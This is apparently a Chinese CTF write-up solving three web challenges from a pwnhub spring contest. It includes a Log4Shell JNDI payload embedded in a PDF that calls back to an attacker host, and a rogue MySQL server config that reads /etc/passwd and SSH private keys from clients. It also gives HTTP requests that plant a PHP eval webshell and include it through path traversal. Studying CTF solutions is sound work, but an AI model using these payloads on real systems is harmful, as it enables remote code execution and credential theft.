pwnhub 胖哈勃春季赛 web

pwnhub 胖哈勃春季赛 web

ak 了web

image-20220426220356733

EzPDFParser

1
2
3
4
5
6
7
8
9
10
11
12
pom.xml:39
39: <dependency>
40: <groupId>org.apache.pdfbox</groupId>
41: <artifactId>pdfbox</artifactId>
42: <version>2.0.24</version>
43: </dependency>
44: <dependency>
45: <groupId>org.apache.logging.log4j</groupId>
46: <artifactId>log4j-core</artifactId>
47: <version>2.14.0</version>
48: </dependency>

log4j2 的版本能被 log4shell 打,看着这个 pdfbox 联想到曾经翻到的项目:https://github.com/eelyvy/log4jshell-pdf

1
2
3
4
5
6
log4jshell-pdf\template.pdf:72
72: /Root 1 0 R
73: /ID [<C9FF8D0E51F96CD73E5DC748A7C19CF0> <C9FF8D0E51F96CD73E5DC748A7C19CF0>]
74: /Size ${jndi:ldap:${sys:file.separator}${sys:file.separator}myip:9999${sys:file.separator}RCE}
75: >>

看了下版本能对应,直接测:

image-20220426221729417

easyCMS

题目中给了给 mysql tool ,竟然有服务是 测试mysql是否连通 ,看着就非常可疑

因而很自然地联想到 mysql client attack :https://paper.seebug.org/998/

又给了 dockerfile :

1
2
3
4
5
6
7
8
9
10
FROM php:7.3.0-apache

RUN docker-php-ext-install mysqli

COPY ./flag [Access denied]
COPY html /var/www/html

RUN chmod 755 [Access denied] &&\
chmod -R 755 /var/www/html

由此知道 php 版本受影响,网站的根目录是 /var/www/html ,因而就可以把源码给一个个下载下来

这里用到一个 rouge mysql server :https://github.com/rmb122/rogue_mysql_server

配置一下 config.yaml ,然后启动:

1
2
3
4
5
6
7
8
9
10
11
12
13
host: 0.0.0.0
port: 3306
version_string: "10.4.13-MariaDB-log"

file_list: ["/var/www/html/tools/userTools/testTool.php","/etc/passwd","/root/.ssh/id_rsa"]
save_path: ./loot
always_read: false
from_database_name: false

auth: true
users:
- root: root
- root: password

代码拿下来之后就是做代码审计了,这个代码量很小,而且可疑的恶意函数调用点也非常少:

image-20220426223646182

随便审一审,就能看出 任意文件写 + 目录穿越 + 文件包含,审出来直接打就好了:

这里非预期了,没用到官方的预期解反序列化,而是直接文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?s=tool/test HTTP/1.1
Host: 47.97.127.1:28696
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
Origin: http://47.97.127.1:28696
Connection: close
Referer: http://47.97.127.1:28696/index.php?s=tool/test
Cookie: JSESSIONID=EE41D49D65AC37F063D49A0E6E2CA318
Upgrade-Insecure-Requests: 1

Y0U_CA0_n3vEr_F1nD_m3_LOL%5Bfile%5D=fuckTool.php&Y0U_CA0_n3vEr_F1nD_m3_LOL%5Bdata%5D=%3C%3Fphp+eval%28%24_REQUEST%5B%22code%22%5D%29%3B%3F%3E
1
2
3
4
5
6
7
8
9
10
11
12
GET /index.php?s=tool/../../../../../tmp/sandbox/6165c4d06713934e904c9e98050c7773/fuck&code=phpinfo(); HTTP/1.1
Host: 47.97.127.1:28696
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://47.97.127.1:28696/index.php?s=tool/../../../../../tmp/sandbox/6165c4d06713934e904c9e98050c7773/fuck&code=phpinfo();
Cookie: JSESSIONID=EE41D49D65AC37F063D49A0E6E2CA318
Upgrade-Insecure-Requests: 1


image-20220426223954026

baby_flask

拿了个二血

image-20220426225023560

直接给了源码,本来觉得直接访问 /edit 更改模板就能轻松 rce 的,但是在本地测试过之后发现模板被改了,但是新的模板没法被渲染

这时候就自然想到了 cache

当时做了这样的推理:

这个已经被渲染 的模板必然有地方存放,无非是存放在 文件当中,或者内存里面。如果是存放在内存里面的话,那连内存大小都是有极限的,这个能存储的模板的数量或者大小肯定是有极限的。所以只要创建足够多的模板,最后新写入的模板必然会被渲染。

所以在没有仔细读文档和源码的情况下,直接 bp 先请求 500 次 /create ,然后请求 500 次 /edit ,然后请求 500 次 /show ,直接 RCE